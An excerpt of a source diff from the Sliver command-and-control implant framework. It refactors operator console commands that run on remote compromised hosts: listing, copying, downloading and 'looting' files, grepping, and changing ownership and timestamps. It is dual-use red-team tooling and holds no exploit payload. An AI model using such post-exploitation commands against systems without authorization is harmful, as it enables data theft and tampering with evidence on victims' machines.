 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // ChownCmd - Change the owner of a file on the remote file system
-func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func ChownCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	filePath := args[0]
+	filePath := ctx.Args.String("path")

 	if filePath == "" {
 		con.PrintErrorf("Missing parameter: file or directory name\n")
 		return
 	}

-	uid := args[1]
+	uid := ctx.Args.String("uid")

 	if uid == "" {
 		con.PrintErrorf("Missing parameter: user id\n")
 		return
 	}

-	gid := args[2]
+	gid := ctx.Args.String("gid")

 	if gid == "" {
 		con.PrintErrorf("Missing parameter: group id\n")
 		return
 	}
-
-	recursive, _ := cmd.Flags().GetBool("recursive")
-
+	
 	chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
-		Request:   con.ActiveTarget.Request(cmd),
+		Request:   con.ActiveTarget.Request(ctx),
 		Path:      filePath,
-		Uid:       uid,
-		Gid:       gid,
-		Recursive: recursive,
+		Uid:  uid,
+		Gid:  gid,
+		Recursive: ctx.Flags.Bool("recursive"),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -21,31 +21,30 @@ import (
 	"context"
 	"time"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // ChtimesCmd - Change the access and modified time of a file on the remote file system
-func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
 	// DateTime layout (https://pkg.go.dev/time)
 	layout := "2006-01-02 15:04:05"
-	filePath := args[0]
+	filePath := ctx.Args.String("path")

 	if filePath == "" {
 		con.PrintErrorf("Missing parameter: file or directory name\n")
 		return
 	}

-	atime := args[1]
+	atime := ctx.Args.String("atime")

 	if atime == "" {
 		con.PrintErrorf("Missing parameter: Last accessed time id\n")
@@ -59,7 +58,7 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
 	}
 	unixAtime := t_a.Unix()

-	mtime := args[2]
+	mtime := ctx.Args.String("mtime")

 	if mtime == "" {
 		con.PrintErrorf("Missing parameter: Last modified time id\n")
@@ -72,12 +71,12 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
 		return
 	}
 	unixMtime := t_b.Unix()
-
+	
 	chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
-		Request: con.ActiveTarget.Request(cmd),
-		Path:    filePath,
-		ATime:   unixAtime,
-		MTime:   unixMtime,
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		ATime:  unixAtime,
+		MTime:  unixMtime,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -1,82 +0,0 @@
-package filesystem
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
-	if len(args) != 2 {
-		con.PrintErrorf("Please specify a source and destination filename.\n")
-		return
-	}
-
-	src := args[0]
-	dst := args[1]
-
-	cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
-		Request: con.ActiveTarget.Request(cmd),
-		Src:     src,
-		Dst:     dst,
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	cp.Src, cp.Dst = src, dst
-
-	if cp.Response != nil && cp.Response.Async {
-		con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, cp)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-		})
-		con.PrintAsyncResponse(cp.Response)
-	} else {
-		PrintCp(cp, con)
-	}
-
-	return
-}
-
-func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
-	if cp.Response != nil && cp.Response.Err != "" {
-		con.PrintErrorf("%s\n", cp.Response.Err)
-		return
-	}
-
-	con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
-}
@@ -28,33 +28,31 @@ import (
 	"strings"
 	"time"

-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
-	"gopkg.in/AlecAivazis/survey.v1"
-
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
+	"gopkg.in/AlecAivazis/survey.v1"
+
+	"github.com/desertbit/grumble"
 )

-func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
-
-	remotePath := args[0]
-	recurse, _ := cmd.Flags().GetBool("recurse")
+	remotePath := ctx.Args.String("remote-path")
+	recurse := ctx.Flags.Bool("recurse")

 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request:          con.ActiveTarget.Request(cmd),
-		Path:             remotePath,
-		Recurse:          recurse,
-		RestrictedToFile: false,
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    remotePath,
+		Recurse: recurse,
 	})
 	ctrl <- true
 	<-ctrl
@@ -69,12 +67,13 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			HandleDownloadResponse(download, cmd, args, con)
+			HandleDownloadResponse(download, ctx, con)
 		})
 		con.PrintAsyncResponse(download.Response)
 	} else {
-		HandleDownloadResponse(download, cmd, args, con)
+		HandleDownloadResponse(download, ctx, con)
 	}
+
 }

 func prettifyDownloadName(path string) string {
@@ -105,7 +104,7 @@ func prettifyDownloadName(path string) string {
 	return filteredString
 }

-func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverConsoleClient) {
+func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var err error
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
@@ -119,14 +118,9 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
 		}
 	}

-	remotePath := args[0]
-	var localPath string
-	if len(args) == 1 {
-		localPath = "."
-	} else {
-		localPath = args[1]
-	}
-	saveLoot, _ := cmd.Flags().GetBool("loot")
+	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+	saveLoot := ctx.Flags.Bool("loot")

 	if download.ReadFiles == 0 {
 		// No files downloaded successfully.
@@ -135,11 +129,15 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
 	}

 	if saveLoot {
-		lootName, _ := cmd.Flags().GetString("name")
+		lootName := ctx.Flags.String("name")
+		lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
 		// Hand off to the loot package to take care of looting
-		fType, _ := cmd.Flags().GetString("file-type")
-		fileType := loot.ValidateLootFileType(fType, download.Data)
-		loot.LootDownload(download, lootName, fileType, cmd, con)
+		fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
+		loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
 	} else {
 		fileName := filepath.Base(remotePath)
 		dst, err := filepath.Abs(localPath)
@@ -1,304 +0,0 @@
-package filesystem
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2023  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"regexp"
-	"strings"
-	"time"
-
-	"github.com/bishopfox/sliver/client/command/loot"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/fatih/color"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
-)
-
-const maxLinesDisplayed = 50
-
-func processFlags(searchPattern string, insensitive bool, exact bool) string {
-	if !insensitive && !exact {
-		return searchPattern
-	}
-
-	var processedSearchPattern = searchPattern
-
-	flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`)
-	flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern)
-
-	if insensitive {
-		if flagsSpecifiedIndex != nil {
-			// If we matched, flagsSpecifiedIndex[0] will always be 0 (the start of the string)
-			flags := searchPattern[:flagsSpecifiedIndex[1]]
-			if !strings.Contains(flags, "i") {
-				processedSearchPattern = "(?i" + searchPattern[2:]
-			}
-		} else {
-			processedSearchPattern = "(?i)" + processedSearchPattern
-		}
-	}
-
-	// For exact matches, we will replace any start and end of line anchors with (^|\s) and (\s|$) respectively
-	flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern)
-
-	if exact {
-		var endIndexOfFlags = 0
-
-		if flagsSpecifiedIndex != nil {
-			endIndexOfFlags = flagsSpecifiedIndex[1]
-		}
-		if strings.HasPrefix(processedSearchPattern[endIndexOfFlags:], "^") {
-			processedSearchPattern = processedSearchPattern[:endIndexOfFlags] + strings.Replace(processedSearchPattern[endIndexOfFlags:], "^", `(^|\s)`, 1)
-		} else {
-			processedSearchPattern = `(^|\s)` + processedSearchPattern
-		}
-
-		if strings.HasSuffix(processedSearchPattern, "$") {
-			processedSearchPattern = processedSearchPattern[:len(processedSearchPattern)-1] + `(\s|$)`
-		} else {
-			processedSearchPattern = processedSearchPattern + `(\s|$)`
-		}
-	}
-
-	return processedSearchPattern
-}
-
-func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
-	searchPattern := args[0]
-	searchPath := args[1]
-
-	recursive, _ := cmd.Flags().GetBool("recursive")
-	insensitive, _ := cmd.Flags().GetBool("insensitive")
-	exact, _ := cmd.Flags().GetBool("exact")
-
-	searchPatternProcessed := processFlags(searchPattern, insensitive, exact)
-
-	// Sanity check the search pattern to validate that it is a valid regex
-	_, err := regexp.Compile(searchPattern)
-	if err != nil {
-		con.PrintErrorf("%s is not a valid regex: %s\n", searchPattern, err)
-		return
-	}
-
-	// Context overrides individual values for before and after
-	var linesBefore int32 = 0
-	var linesAfter int32 = 0
-
-	if cmd.Flags().Changed("context") {
-		linesBefore, _ = cmd.Flags().GetInt32("context")
-		linesAfter = linesBefore
-	} else {
-		linesBefore, _ = cmd.Flags().GetInt32("before")
-		linesAfter, _ = cmd.Flags().GetInt32("after")
-	}
-
-	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Searching for %s in %s ...", searchPattern, searchPath), ctrl)
-
-	grep, err := con.Rpc.Grep(context.Background(), &sliverpb.GrepReq{
-		Request:       con.ActiveTarget.Request(cmd),
-		SearchPattern: searchPatternProcessed,
-		Path:          searchPath,
-		Recursive:     recursive,
-		LinesBefore:   linesBefore,
-		LinesAfter:    linesAfter,
-	})
-
-	ctrl <- true
-	<-ctrl
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if grep.Response != nil && grep.Response.Async {
-		con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, grep)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			// Using args[0] so that the operator's original input is preserved
-			printGrep(grep, args[0], searchPath, cmd, con)
-		})
-		con.PrintAsyncResponse(grep.Response)
-	} else {
-		printGrep(grep, args[0], searchPath, cmd, con)
-	}
-}
-
-// printGrep - Print the results from the grep operation to stdout
-func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) {
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	lootName, _ := cmd.Flags().GetString("name")
-	colorize, _ := cmd.Flags().GetBool("colorize-output")
-	userLootFileType, _ := cmd.Flags().GetString("file-type")
-	currentDateTime := time.Now().Format("2006-01-02_150405")
-	if !cmd.Flags().Changed("lootName") {
-		// If the loot name has not been specified by the operator, generate one
-		con.GetActiveSessionConfig()
-		lootName = fmt.Sprintf("grep from %s on %s (%s)", searchPath, con.GetActiveSessionConfig().ID, currentDateTime)
-	}
-	if grep.Response != nil && grep.Response.Err != "" {
-		con.PrintErrorf("%s\n", grep.Response.Err)
-		return
-	}
-
-	grepResults, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, colorize, true)
-	if len(grepResults) > maxLinesDisplayed {
-		// If there are more than maxResultsDisplayed results, then loot the rest so that we do not overfill the console
-		saveLoot = true
-	}
-
-	var resultQualifier string
-	var displayLimit string
-
-	if numberOfResults == 1 {
-		resultQualifier = "line"
-	} else {
-		resultQualifier = "lines"
-	}
-
-	if len(grepResults) > maxLinesDisplayed {
-		displayLimit = fmt.Sprintf(" (%d displayed, including context if available)", maxLinesDisplayed)
-	}
-
-	con.Printf("Found %d matching %s for %s in %s%s\n\n", numberOfResults, resultQualifier, searchPattern, searchPath, displayLimit)
-	if len(grepResults) > maxLinesDisplayed {
-		con.Println(strings.Join(grepResults[:maxLinesDisplayed+1], "\n"))
-	} else {
-		con.Println(strings.Join(grepResults, "\n"))
-	}
-
-	if len(grepResults) > maxLinesDisplayed {
-		con.PrintWarnf("Number of output lines exceed %d. The full output is available in the loot file \"%s\"\n", maxLinesDisplayed, lootName)
-	}
-	if len(binaryFilesMatched) > 0 {
-		con.PrintInfof("The following binary files contained one or more matches that may not be reflected above:\n")
-		for _, fileName := range binaryFilesMatched {
-			con.Printf("\t%s\n", fileName)
-		}
-	}
-
-	if saveLoot {
-		// Do not allow escape sequences in the output when looting
-		grepResultsForLoot, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, false, false)
-
-		lootFileName := fmt.Sprintf("grep_%s_%s.txt", con.GetActiveSessionConfig().ID, currentDateTime)
-		flags := []string{}
-		if recursive, _ := cmd.Flags().GetBool("recursive"); recursive {
-			flags = append(flags, "recursive")
-		}
-		if exact, _ := cmd.Flags().GetBool("exact"); exact {
-			flags = append(flags, "exact match")
-		}
-		if insensitive, _ := cmd.Flags().GetBool("insensitive"); insensitive {
-			flags = append(flags, "case insensitive search")
-		}
-
-		// Add a header to the looted grep results to indicate what the pattern was and what was searched
-		grepResultsString := fmt.Sprintf("Search pattern: %s\nSearch location: %s\n", searchPattern, grep.SearchPathAbsolute)
-		if len(flags) > 0 {
-			grepResultsString += fmt.Sprintf("Search flags: %s\n", strings.Join(flags, ", "))
-		}
-		grepResultsString += fmt.Sprintf("Number of Results: %d\n\n%s", numberOfResults, strings.Join(grepResultsForLoot, "\n"))
-		if len(binaryFilesMatched) > 0 {
-			grepResultsString += "\nThe following binary files contained one or more matches:\n"
-			grepResultsString += strings.Join(binaryFilesMatched, "\n")
-		}
-		fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString))
-		loot.LootText(grepResultsString, lootName, lootFileName, fileType, con)
-	}
-
-}
-
-// grepLineResult - Add color or formatting for results for console output
-func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
-	var result string = ""
-	var matchOutput func(a ...interface{}) string
-	var previousPositionEnd int32 = 0
-
-	if colorize {
-		matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
-	} else if allowFormatting {
-		matchOutput = color.New(color.Bold).SprintFunc()
-	}
-
-	for idx, position := range positions {
-		if colorize || allowFormatting {
-			result += line[previousPositionEnd:position.Start]
-			result += matchOutput(line[position.Start:position.End])
-			if idx == len(positions)-1 {
-				result += line[position.End:]
-			} else {
-				previousPositionEnd = position.End
-			}
-		} else {
-			result = line
-		}
-	}
-
-	return result
-}
-
-// printGrepResults - Take the results from the implant and put them together for output to the console or loot
-func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) {
-	var resultOutput []string
-	var numberOfResults = 0
-	binaryFilesMatched := []string{}
-
-	for fileName, result := range results {
-		if result.IsBinary {
-			if len(result.FileResults) > 0 {
-				binaryFilesMatched = append(binaryFilesMatched, fileName)
-			}
-		}
-		for _, lineResult := range result.FileResults {
-			line := lineResult.Line
-			if len(lineResult.LinesBefore) > 0 || len(lineResult.LinesAfter) > 0 {
-				resultOutput = append(resultOutput, fmt.Sprintf("%s (match on line %d)\n", fileName, lineResult.LineNumber))
-				if len(lineResult.LinesBefore) > 0 {
-					resultOutput = append(resultOutput, strings.Join(lineResult.LinesBefore, "\n"))
-				}
-				resultOutput = append(resultOutput, grepLineResult(lineResult.Positions, line, colorize, allowFormatting))
-				if len(lineResult.LinesAfter) > 0 {
-					resultOutput = append(resultOutput, strings.Join(lineResult.LinesAfter, "\n"))
-				}
-				resultOutput = append(resultOutput, "\n")
-			} else {
-				if lineResult.LineNumber == -1 {
-					resultOutput = append(resultOutput, fmt.Sprintf("Error when reading file %s: %s", fileName, line))
-				} else {
-					resultOutput = append(resultOutput, fmt.Sprintf("%s: Line %d: %s", fileName, lineResult.LineNumber, grepLineResult(lineResult.Positions, line, colorize, allowFormatting)))
-				}
-			}
-			numberOfResults += 1
-		}
-	}
-
-	return resultOutput, numberOfResults, binaryFilesMatched
-}
@@ -1,127 +0,0 @@
-package filesystem
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2023  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
-)
-
-func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
-	var filePath string
-	var fetchBytes bool
-	var fetchSize int64
-	var operationName string
-	var download *sliverpb.Download
-	var err error
-
-	if len(args) > 0 {
-		filePath = args[0]
-	}
-	if filePath == "" {
-		con.PrintErrorf("Missing parameter: file name\n")
-		return
-	}
-
-	if cmd.Flags().Changed("bytes") {
-		fetchBytes = true
-		fetchSize, _ = cmd.Flags().GetInt64("bytes")
-		if fetchSize < 0 {
-			// Cannot fetch a negative number of bytes
-			con.PrintErrorf("The number of bytes specified must be positive.")
-			return
-		}
-		if fetchSize == 1 {
-			operationName = "byte"
-		} else {
-			operationName = "bytes"
-		}
-	} else if cmd.Flags().Changed("lines") {
-		fetchBytes = false
-		fetchSize, _ = cmd.Flags().GetInt64("lines")
-		if fetchSize < 0 {
-			// Cannot fetch a negative number of lines
-			con.PrintErrorf("The number of lines specified must be positive.")
-			return
-		}
-		if fetchSize == 1 {
-			operationName = "line"
-		} else {
-			operationName = "lines"
-		}
-	} else {
-		con.PrintErrorf("A number of bytes or a number of lines must be specified.")
-		return
-	}
-
-	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Retrieving %d %s from %s ...", fetchSize, operationName, filePath), ctrl)
-
-	// A tail is a negative head
-	if !head {
-		fetchSize *= -1
-	}
-
-	if fetchBytes {
-		download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-			Request:          con.ActiveTarget.Request(cmd),
-			Path:             filePath,
-			MaxBytes:         fetchSize,
-			RestrictedToFile: true,
-		})
-	} else {
-		download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-			Request:          con.ActiveTarget.Request(cmd),
-			Path:             filePath,
-			MaxLines:         fetchSize,
-			RestrictedToFile: true,
-		})
-	}
-
-	ctrl <- true
-	<-ctrl
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if download.Response != nil && download.Response.Async {
-		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, download)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintCat(download, cmd, con)
-		})
-		con.PrintAsyncResponse(download.Response)
-	} else {
-		PrintCat(download, cmd, con)
-	}
-}
@@ -27,33 +27,26 @@ import (
 	"text/tabwriter"
 	"time"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // LsCmd - List the contents of a remote directory
-func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	var remotePath string
-	if len(args) == 1 {
-		remotePath = args[0]
-	} else {
-		remotePath = "."
-	}
+	remotePath := ctx.Args.String("path")

 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
 	})
 	if err != nil {
@@ -67,16 +60,16 @@ func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintLs(ls, cmd.Flags(), con)
+			PrintLs(ls, ctx.Flags, con)
 		})
 		con.PrintAsyncResponse(ls.Response)
 	} else {
-		PrintLs(ls, cmd.Flags(), con)
+		PrintLs(ls, ctx.Flags, con)
 	}
 }

 // PrintLs - Display an sliverpb.Ls object
-func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverConsoleClient) {
+func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
 	if ls.Response != nil && ls.Response.Err != "" {
 		con.PrintErrorf("%s\n", ls.Response.Err)
 		return
@@ -104,9 +97,9 @@ func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverConsoleCl
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)

 	// Extract the flags
-	reverseSort, _ := flags.GetBool("reverse")
-	sortByTime, _ := flags.GetBool("modified")
-	sortBySize, _ := flags.GetBool("size")
+	reverseSort := flags.Bool("reverse")
+	sortByTime := flags.Bool("modified")
+	sortBySize := flags.Bool("size")

 	/*
 		By default, name sorting is case sensitive.  Upper case entries come before
@@ -20,23 +20,23 @@ package filesystem
 import (
 	"context"

-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // MemfilesAddCmd - Add memfile
-func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func MemfilesAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

 	memfilesAdd, err := con.Rpc.MemfilesAdd(context.Background(), &sliverpb.MemfilesAddReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -25,24 +25,24 @@ import (
 	"text/tabwriter"
 	"time"

-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // MemfilesListCmd - List memfiles
-func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func MemfilesListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

 	memfilesList, err := con.Rpc.MemfilesList(context.Background(), &sliverpb.MemfilesListReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -21,34 +21,31 @@ import (
 	"context"
 	"strconv"

-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // MemfilesRmCmd - Remove a memfile
-func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func MemfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	fdArg := args[0]
+	fdArg := ctx.Args.String("fd")
 	if fdArg == "" {
 		con.PrintErrorf("Missing parameter: File Descriptor\n")
 		return
 	}

 	fdInt, err := strconv.ParseInt(fdArg, 0, 64)
-	if err != nil {
-		con.PrintErrorf("Failed to parse fdArg: %s\n", err)
-		return
-	}
+
 	memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 		Fd:      fdInt,
 	})
 	if err != nil {
@@ -21,24 +21,22 @@ package filesystem
 import (
 	"context"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // MkdirCmd - Make a remote directory
-func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	filePath := args[0]
-	// filePath := ctx.Args.String("path")
+	filePath := ctx.Args.String("path")

 	if filePath == "" {
 		con.PrintErrorf("Missing parameter: directory name\n")
@@ -46,7 +44,7 @@ func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin
 	}

 	mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
 	if err != nil {
@@ -21,37 +21,34 @@ package filesystem
 import (
 	"context"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
